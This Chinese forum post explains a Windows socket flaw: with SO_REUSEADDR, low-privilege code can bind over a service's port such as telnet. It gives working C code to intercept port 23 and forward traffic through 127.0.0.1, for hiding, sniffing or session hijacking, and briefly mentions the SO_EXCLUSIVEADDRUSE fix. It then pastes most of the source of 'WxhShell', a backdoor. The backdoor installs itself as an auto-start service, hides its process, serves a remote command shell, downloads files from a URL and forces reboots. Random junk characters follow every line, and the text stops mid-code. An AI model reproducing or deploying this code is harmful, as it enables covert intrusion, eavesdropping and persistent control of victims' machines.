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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #ilU(39e  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @rTAbEk{U  
@\!9dK-W  
  saddr.sin_family = AF_INET; icX$<lD  
6L2Si4OGjG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ww }qK|D  
\[-z4Fxg|'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); LEUD6 M+~t  
!*U#,qY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >-~2:d\M3  
0B4&!J  
  这意味着什么?意味着可以进行如下的攻击: `$X|VAS2  
8@S5P$b};  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 xSQ0]vE  
5&uS700  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7\q_^  
E rf$WPA  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 05|,-S  
(,J`!Y hS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  aWLeyXsAu  
)>! IY Q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;T|y^D  
}x[d]fcC  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Dm3/i |Y  
xTnd9'Pk`:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `f@VX :aL}  
f[@M  
  #include j'?^<4i  
  #include 9}4EW4  
  #include .?TPoqs7Z  
  #include    "dKYJ&$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ")q{>tV  
  int main() %Jrdr`<  
  { _t:l:x.;T  
  WORD wVersionRequested; a=55bEn  
  DWORD ret; ~~.v*C[  
  WSADATA wsaData; 4b"%171  
  BOOL val; HzO6hb{jJO  
  SOCKADDR_IN saddr; YzcuS/~x  
  SOCKADDR_IN scaddr; [n`SXBi+n  
  int err; X9:(}=E V  
  SOCKET s; &wZ ggp  
  SOCKET sc; xLE+"6;W  
  int caddsize; U`j[Ni}"  
  HANDLE mt; CIM 9~:\  
  DWORD tid;   ^ ExA  
  wVersionRequested = MAKEWORD( 2, 2 ); [\hk_(}  
  err = WSAStartup( wVersionRequested, &wsaData ); *>=vSRL0_  
  if ( err != 0 ) { ]~,V(K  
  printf("error!WSAStartup failed!\n"); dBV^Khf J  
  return -1; u@`)u#  
  } cx]O#b6B.  
  saddr.sin_family = AF_INET; N.J;/!%!  
   3^LSK7.:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I5"ew=x#  
|~! R5|Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ." m6zq  
  saddr.sin_port = htons(23); -%XvWZvZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 23/!k}G"  
  { vT<q zN  
  printf("error!socket failed!\n"); 9<An^lLK*  
  return -1; /`iBv8!  
  } O<R6^0B42  
  val = TRUE; x M1>kbo|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tQ7DdVdix  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) h(,SAY_  
  { hT&,5zaWdv  
  printf("error!setsockopt failed!\n"); (D'Z4Y  
  return -1; 5 zlgmCGow  
  } guC/eSxv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9T47U; _)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4#5w^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n9;+RhxA  
?VMj;+'tr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U~8.uldnF  
  { U*Z P>Vv  
  ret=GetLastError(); t)o #!)|  
  printf("error!bind failed!\n"); (/&IBd-  
  return -1; JM{S49Lx  
  } z8 bDBoD6  
  listen(s,2); q+{-p?;;  
  while(1) U[zY0B  
  { ,jBd3GdlZ  
  caddsize = sizeof(scaddr); H_'i.t 'SS  
  //接受连接请求 Sf}>~z2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |Xblz1>DF  
  if(sc!=INVALID_SOCKET) IMY?L  
  { ]1 #&J(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gmfux b/  
  if(mt==NULL) NF1e>O:a<  
  { =2#a@D6Bl  
  printf("Thread Creat Failed!\n"); i0uBb%GMT  
  break; }DTpl?l  
  } 0(s0<9s%  
  } _=Y]ZX`j  
  CloseHandle(mt); t"`LJE._P  
  } h<.G^c)  
  closesocket(s); 6Q,-ZM=Z_p  
  WSACleanup(); #Zpp*S55  
  return 0; 8<$6ufvOv  
  }   j380=? 7  
  DWORD WINAPI ClientThread(LPVOID lpParam) SGW2'  
  { {& G7 Xa  
  SOCKET ss = (SOCKET)lpParam; UXvk5t1  
  SOCKET sc; %T*lcg  
  unsigned char buf[4096]; T0WB  
  SOCKADDR_IN saddr; p.q :vI$J  
  long num; B]< 6\Z?=  
  DWORD val; ^*C+^l&J!  
  DWORD ret; sXI_!)H  
  //如果是隐藏端口应用的话,可以在此处加一些判断  C~vU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *LeFI%  
  saddr.sin_family = AF_INET; 3Ak,M-Jp  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >Dpz0v  
  saddr.sin_port = htons(23); A)En25,X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) > _U)=q  
  { -6MgC9]  
  printf("error!socket failed!\n"); 4-[L^1%S[  
  return -1; "U34D1I )#  
  } }N5>^y  
  val = 100; 4NL Tt K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 59";{"sw  
  { -zg,pK$+  
  ret = GetLastError(); CjM+%l0MW  
  return -1; CGIcuHp  
  } $]4^ENkI  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KyW6[WA9  
  { 22|eiW/a  
  ret = GetLastError(); vV1F|  
  return -1; 5O&6 (Gaf  
  } cbl@V 1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2%N$Y]  
  { U9IP`)z_5t  
  printf("error!socket connect failed!\n"); [JFmhLP9  
  closesocket(sc); `pF|bZ?v  
  closesocket(ss);  IpY  R  
  return -1; g^(wZ$NH  
  } 9iWDEk  
  while(1) s;q]:+#7g  
  { xA]CtB*o7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |@={:gRJ{x  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -UkP{x)S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >z6 (fM`i  
  num = recv(ss,buf,4096,0); >`p`^:  
  if(num>0) )JE;#m0q  
  send(sc,buf,num,0); $b\`N2J-_  
  else if(num==0) bL (g$Yi  
  break; V'~] b~R  
  num = recv(sc,buf,4096,0); Z{`;Ys:zk  
  if(num>0) Mw@T!)(  
  send(ss,buf,num,0); R-J\c+C>W  
  else if(num==0) Nh~ Hh(   
  break; VO>A+vx3M  
  } +Y,>ftN  
  closesocket(ss); d8Jy$,/`?  
  closesocket(sc); |c,":R  
  return 0 ; STs~GOm-  
  } QRXsLdf$$  
^ng#J\  
CfQOG7e@  
========================================================== ./mh 9ax  
DDn@M|*$  
下边附上一个代码,,WXhSHELL B2VC:TG>  
dlN(_6>b  
========================================================== a ^<W ?Z  
=:[Jz1M5  
#include "stdafx.h" i4 KW  
3N(s)N_P M  
#include <stdio.h> 7+JQaYO`"  
#include <string.h> j]}A"8=1  
#include <windows.h> XodA(73`i  
#include <winsock2.h> cu(2BDfiL  
#include <winsvc.h> %TxFdF{A  
#include <urlmon.h> 2hAu~#X  
`h_,I R<  
#pragma comment (lib, "Ws2_32.lib") >>=lh  
#pragma comment (lib, "urlmon.lib") B#AAG*Ai8  
|r1\  
#define MAX_USER   100 // 最大客户端连接数 n[lf==R  
#define BUF_SOCK   200 // sock buffer Qn(e[ C6\  
#define KEY_BUFF   255 // 输入 buffer szMh}q"u  
LYNd^}  
#define REBOOT     0   // 重启 6#fl1GdH-  
#define SHUTDOWN   1   // 关机 cjsQm6  
?`Qw=8]`  
#define DEF_PORT   5000 // 监听端口 \-N 4G1  
5b3Wt7  
#define REG_LEN     16   // 注册表键长度 <~t38|Ff@  
#define SVC_LEN     80   // NT服务名长度 H1rge<  
Jf@M>BT^A  
// 从dll定义API Z+)R%Z'aL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y7dnXO!g9-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2 ]5dSXD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5#s?rA%u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f:\jPkf'  
&Qy_= -]  
// wxhshell配置信息 Ji4c8*&Jpc  
struct WSCFG { z+FhWze  
  int ws_port;         // 监听端口 LEvdPG$)  
  char ws_passstr[REG_LEN]; // 口令 G`PSb<h\oc  
  int ws_autoins;       // 安装标记, 1=yes 0=no mm\Jf  
  char ws_regname[REG_LEN]; // 注册表键名 0e9W>J9  
  char ws_svcname[REG_LEN]; // 服务名 1w'iD X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~F^=7oq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |_8 ::kir:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g<{/mxv/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R K#e7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [>::@[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _aL:XKM  
|;ycEB1  
}; :XcU@m  
9d^o2Y o  
// default Wxhshell configuration RS!~5nk5  
struct WSCFG wscfg={DEF_PORT, #>GUfhou)  
    "xuhuanlingzhe", N,V %/O{Y  
    1, :X Er{X  
    "Wxhshell", xz[a3In+  
    "Wxhshell", "AP'' XNi  
            "WxhShell Service", He^+>XIam  
    "Wrsky Windows CmdShell Service", >/nS<y>  
    "Please Input Your Password: ", VS@o_fUx)  
  1, kX."|]  
  "http://www.wrsky.com/wxhshell.exe", (o)nN8  
  "Wxhshell.exe" . ]0B=w* Z  
    }; /ZHuT=j1  
kc^ Q ?-?  
// 消息定义模块 ,,S5 8\x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dbSIC[q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I \zM\^S>]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7g}4gX's  
char *msg_ws_ext="\n\rExit."; `YAqR?Xj_<  
char *msg_ws_end="\n\rQuit."; %50}oD@  
char *msg_ws_boot="\n\rReboot..."; , fFB.q"  
char *msg_ws_poff="\n\rShutdown..."; hc2[,Hju{O  
char *msg_ws_down="\n\rSave to "; %YG ~ql  
GJai!$v  
char *msg_ws_err="\n\rErr!"; )(TaVHJR  
char *msg_ws_ok="\n\rOK!"; ~?m';  
Yv }G"-=  
char ExeFile[MAX_PATH]; ZW}*]rg  
int nUser = 0; y_M<\b  
HANDLE handles[MAX_USER]; |lOxRUf~  
int OsIsNt; g* F?  
U(]a(k<r  
SERVICE_STATUS       serviceStatus; "pdmz+k8S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I0P)DR  
"{105&c\  
// 函数声明 ~Tq `c  
int Install(void); >Jt,TMMlt  
int Uninstall(void); 6|wi Zw  
int DownloadFile(char *sURL, SOCKET wsh); p;`jmF   
int Boot(int flag); {ER! 0w/  
void HideProc(void); S Y>i@s+ML  
int GetOsVer(void); KhAj`vOzK  
int Wxhshell(SOCKET wsl); J?Brnf.  
void TalkWithClient(void *cs); /c'3I  
int CmdShell(SOCKET sock); )Q9m,/F  
int StartFromService(void); _Sy-&}c+ +  
int StartWxhshell(LPSTR lpCmdLine); ^;@q^b)ZP  
m]} E0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TKj8a(R_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =($RT  
@'j=oTT  
// 数据结构和表定义 x$d3 fsEE  
SERVICE_TABLE_ENTRY DispatchTable[] = )n}Wb+2I  
{ s$css{(ek  
{wscfg.ws_svcname, NTServiceMain}, ,@jRe&6  
{NULL, NULL} Kl GPu GL  
}; <8yzBp4gZ  
rlk0t159  
// 自我安装 H_m(7@=  
int Install(void) ]c]rIOTN  
{ asb-syqU  
  char svExeFile[MAX_PATH]; /~NsHStn  
  HKEY key; i`)bn 1Xm  
  strcpy(svExeFile,ExeFile); eU 'DQp*  
`G&W%CHB  
// 如果是win9x系统,修改注册表设为自启动 Er^ijh,  
if(!OsIsNt) { b|U&{I>TH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zJWBovT/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0'*whhH  
  RegCloseKey(key); zQM3n =y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ce th)Xm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L&ySXc=  
  RegCloseKey(key); >B/ jTn5=  
  return 0; a_XM2dc%  
    } 3US}('  
  } S%<RV6{aiM  
} \?7)oFNz  
else { 0H,1"~,w]  
LHU^%;L  
// 如果是NT以上系统,安装为系统服务 U1bhd}MoR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F%@( $f  
if (schSCManager!=0) n#t{3qzpD  
{ .ii9-+_  
  SC_HANDLE schService = CreateService [~9rp]<  
  ( '#gd19#  
  schSCManager, Og[NRd+  
  wscfg.ws_svcname, jOj`S%7  
  wscfg.ws_svcdisp, ,0%P3  
  SERVICE_ALL_ACCESS, &M(=#pq9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l:mC'aR  
  SERVICE_AUTO_START, 90L,.  
  SERVICE_ERROR_NORMAL, L9nv05B  
  svExeFile, aKXaor@0f.  
  NULL, Nq6~6Rr  
  NULL, {E1g+><  
  NULL, l{F^"_U  
  NULL, U<{8nMB  
  NULL ?nJ7lLQA  
  ); ;cd{+0  
  if (schService!=0) J/S 47J~  
  { _Qg^>}]A1  
  CloseServiceHandle(schService); </F@ 5*  
  CloseServiceHandle(schSCManager); 6wC|/J^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H6(kxpOI\  
  strcat(svExeFile,wscfg.ws_svcname); oV utHt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yE[ -@3v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ga&l.:lo  
  RegCloseKey(key); T- ID{i  
  return 0; ^_ <jg0V  
    } #mwV66'H  
  } H~E(~fl  
  CloseServiceHandle(schSCManager); sKYb&2 wJ  
} s2A3.SN  
} EM]~yn!+  
S'M=P_-7  
return 1; 7^,C=2  
} Ci6yH( RE  
Sp$~)f'  
// 自我卸载 834(kw+#9  
int Uninstall(void) E6a$c`H@?  
{ iL(rZT&^  
  HKEY key; WGjT06a\  
l<5O\?Vo]  
if(!OsIsNt) { meunAEe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tz0@csXV  
  RegDeleteValue(key,wscfg.ws_regname); hgMh]4wN*  
  RegCloseKey(key); Qb}7lm{r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %"^$$$6%  
  RegDeleteValue(key,wscfg.ws_regname); {|?OKCG{  
  RegCloseKey(key); ~ l"70\&  
  return 0; BE. v+'c"  
  } i0DYdUj  
} wjh[}rTV*  
} p6m]( Jg  
else { *n mr4Q'v{  
It'hmwu#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #~?Q?"  
if (schSCManager!=0) ]jiM  
{ jqxeON  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @s!9 T  
  if (schService!=0) Kn3qq  
  { {N1Ss|6  
  if(DeleteService(schService)!=0) { V\^rs41$;  
  CloseServiceHandle(schService); /.<%y 8v  
  CloseServiceHandle(schSCManager); D>M a3g  
  return 0; `$oGgz6ZT  
  } l'=H,8LfA  
  CloseServiceHandle(schService); , f9V`Pz)  
  } wy6>^_z  
  CloseServiceHandle(schSCManager); 9,|{N(N<!  
} (7BG~T  
} }Kc[pp|9<  
Ug>yTc_(7  
return 1; ^2E\{$J  
} fkE4 [X7f  
`s#0/t  
// 从指定url下载文件 jn vJ`7zFP  
int DownloadFile(char *sURL, SOCKET wsh) :e>y= s>  
{ *(6vO{  
  HRESULT hr; tdSy&]P  
char seps[]= "/"; H_)\:gTG  
char *token; m[ *)sm  
char *file;  jL8[;*^G  
char myURL[MAX_PATH]; ~_ss[\N  
char myFILE[MAX_PATH]; gTWl];xja  
MMg"G6?  
strcpy(myURL,sURL); G)5w_^&%  
  token=strtok(myURL,seps); Jydz2 zt!  
  while(token!=NULL) )6U&^9=  
  { H.|v ^e  
    file=token; {<0=y#@u  
  token=strtok(NULL,seps); i5wXT  
  } +U/+iI>0  
.),ql_sXr  
GetCurrentDirectory(MAX_PATH,myFILE); 19-|.9m(  
strcat(myFILE, "\\"); sv`+?hjG  
strcat(myFILE, file); S@i*+&Ot  
  send(wsh,myFILE,strlen(myFILE),0); SA_5..  
send(wsh,"...",3,0); )RA$E`!b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QX}O{LQR  
  if(hr==S_OK) J J@O5  
return 0; A41*4!L=  
else eh_ {-  
return 1; $YuVM  
c{4C4'GD  
} DM"nxTVre  
>zcR ?PPs  
// 系统电源模块 tDj~+lmdN  
int Boot(int flag) #xL^S9P  
{ Zwj\Hz.  
  HANDLE hToken; 8a{S*  
  TOKEN_PRIVILEGES tkp; sLiKcR8^  
',GWH:B  
  if(OsIsNt) { Z)E[Bv=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UjLZ!-}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RbB y8ZVM  
    tkp.PrivilegeCount = 1; *Y !'3|T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Wr+?ul*_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oc .H}Eb%Z  
if(flag==REBOOT) { Y1 RiuJtL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W,&z:z>  
  return 0; P.^%8L  
} UHr0J jQK  
else { H]e%8w))0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sevaNs  
  return 0; p)l>bC?3  
} zK.%tx}+=k  
  } [/_M!&zz2  
  else { H^y%Bi&^  
if(flag==REBOOT) { ;/gH6Z?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !ceT>i90h  
  return 0; r[; .1,(  
} F-i`GMWC  
else { 8W' ,T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ["l1\YCi  
  return 0; }{"a}zOl  
} yVA<-PlS<  
} ,>(/}=Z.  
i}SJ   
return 1; DY2r6bcn`  
} \-(.cj)?  
.xJW=G{/  
// win9x进程隐藏模块 951"0S`Lo  
void HideProc(void) cRYnQ{$'  
{ CBaU$`5  
Gvg)@VNr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J9s4lsea  
  if ( hKernel != NULL ) cp@(y$  
  {  L~F"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OO)m{5r,{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E.*TJ  
    FreeLibrary(hKernel); ["4sCB@Tr  
  } 5 9$B z'LY  
#H9J/k_  
return; ! 63>II  
} Z"spua5  
WjfUbKg0  
// 获取操作系统版本 r![RRa^  
int GetOsVer(void) j2GO ZKy  
{ q2Xm~uN`)  
  OSVERSIONINFO winfo; ]fc9m~0N,\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #1-y[w/  
  GetVersionEx(&winfo); aD yHIh8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5Fh?YS=  
  return 1; a<AT;Tc  
  else 1&{]jG{#  
  return 0; Nb.AsIR^  
} 5?-cP?|.9  
}bj dK  
// 客户端句柄模块 ]ZJu  
int Wxhshell(SOCKET wsl) 6=ukR=]v  
{ y$6m|5  
  SOCKET wsh; -]8cw#y 0A  
  struct sockaddr_in client; QcZ*dI7]:  
  DWORD myID; 5Ym/'eT  
#"tHT<8u  
  while(nUser<MAX_USER) $dr=M (&  
{ lPcp 17U  
  int nSize=sizeof(client); [x}]sT`#a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 34Q;& z\e  
  if(wsh==INVALID_SOCKET) return 1; c\2+f7o@  
jKFypIZ4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r!/=Iy@  
if(handles[nUser]==0) py9zDWk~  
  closesocket(wsh); R@lmX%Z1  
else qJq49}2  
  nUser++; UhQsT^b_  
  } Jjt'R`t%t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &,?bX])  
f{ZOH<"Lo  
  return 0; 4;G:.k!K  
} #qL?;Zh0S  
H|a9};pO\  
// 关闭 socket 5|l&` fv`  
void CloseIt(SOCKET wsh) 5DgfrX  
{ |7@[+  
closesocket(wsh); 88fH !6b  
nUser--; :Ny.OA  
ExitThread(0); *5( h,s3&  
} =-#>NlB$w  
5LVhq[}mP  
// 客户端请求句柄 T;6 VI|\  
void TalkWithClient(void *cs) p(EV-^  
{ )vH6N_  
PoyY}Ra  
  SOCKET wsh=(SOCKET)cs; " P A:  
  char pwd[SVC_LEN]; Wn*>h'R  
  char cmd[KEY_BUFF]; #:rywz+  
char chr[1]; IooAXwOF  
int i,j;  3*@ sp  
r^3QDoy  
  while (nUser < MAX_USER) { Xg>nb1e  
R"Q=U}?$  
if(wscfg.ws_passstr) { O 0Fw!IQk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XA`<*QC<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =rBNEd  
  //ZeroMemory(pwd,KEY_BUFF); `<I+(8]Uz  
      i=0; * b+ef  
  while(i<SVC_LEN) { Kk?P89=*  
ia.95H;  
  // 设置超时 63b?-.!b  
  fd_set FdRead; %E q} H  
  struct timeval TimeOut; Xo[={2_  
  FD_ZERO(&FdRead); Ktrqrl^IJ  
  FD_SET(wsh,&FdRead); ]MjQr0&M  
  TimeOut.tv_sec=8; '1?b?nVo  
  TimeOut.tv_usec=0; cx?XJ)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'gYUyl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |2mm@):  
h-B&m:gD_U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rzC\8Dd  
  pwd=chr[0]; +bwSu)k  
  if(chr[0]==0xd || chr[0]==0xa) { ,DrE4")4  
  pwd=0; VEAf,{)Q  
  break; eNN)2-96  
  } ?+Sjt  
  i++; D[) Z$+D4f  
    } c`]_Q1'30w  
TxZ ^zj  
  // 如果是非法用户,关闭 socket NUVFG;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0eQwi l@  
} _F|oL|  
a4gJ-FE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %%["&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KCR6@{@  
Obd@#uab  
while(1) { s{v!jZ  
<ptZY.8N  
  ZeroMemory(cmd,KEY_BUFF); 7TCY$RcF,I  
T_}9b  
      // 自动支持客户端 telnet标准   t!MGSB~  
  j=0; %u"3&kOV  
  while(j<KEY_BUFF) { 3D3/\E#'o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w i,}sEoM  
  cmd[j]=chr[0]; yyZV/ x~  
  if(chr[0]==0xa || chr[0]==0xd) { $ZSjq  
  cmd[j]=0; [[(29|`]  
  break; \W5fcxf  
  } .Y}~2n  
  j++; *g =ey?1S  
    } 0pT?qsM2  
^J,Zl`N  
  // 下载文件 Kj| l]'  
  if(strstr(cmd,"http://")) { g9 .b6}w!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?[#nh@mI  
  if(DownloadFile(cmd,wsh)) X-$~j+YC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {j%'EJ5  
  else  Dh=?Hzw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @.Pd3CB0  
  } V gLnpPOQ  
  else { 92|\`\LP%  
}G,PUjg_^3  
    switch(cmd[0]) { p8CDFLuV  
  msKWb311u  
  // 帮助 wO6 D\#  
  case '?': { @BbqYX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8PQKB*<dB"  
    break; sTx23RJ9  
  } K&2{k+ w  
  // 安装 4\qnCf3  
  case 'i': { pSM\(kVKa  
    if(Install()) XJ &'4h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZzZy2.7  
    else yu ~Rk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dtHB@\1  
    break; IKT3T_\-I  
    } $n |)M+d  
  // 卸载 |X:"AH"S  
  case 'r': { X wvH  
    if(Uninstall()) eEvE3=,hg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y \M]\^[7  
    else #bN'N@|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '!8'Xo@Go3  
    break; L1'R6W~%dN  
    } M`6rI  
  // 显示 wxhshell 所在路径 6_`9 4+  
  case 'p': { QDO.&G2  
    char svExeFile[MAX_PATH]; d\% |!ix  
    strcpy(svExeFile,"\n\r"); 9?8Yf(MC%u  
      strcat(svExeFile,ExeFile); n o6q3<re  
        send(wsh,svExeFile,strlen(svExeFile),0); zo!e<>o  
    break; A.0eeX{  
    } |Tn+Aq7  
  // 重启 VKI`@rY4  
  case 'b': { @w?y;W!a>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _ISIq3A?  
    if(Boot(REBOOT)) `;?`XC"m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WvV!F?uqZ  
    else { %Z T@&  
    closesocket(wsh); ''Lf6S`4X~  
    ExitThread(0); \]bAXa{ p  
    } /_yJ;l/K  
    break; :Fe}.* t  
    } ]iP  +Y  
  // 关机 v#yeiE4  
  case 'd': { "Dr8}g:X  
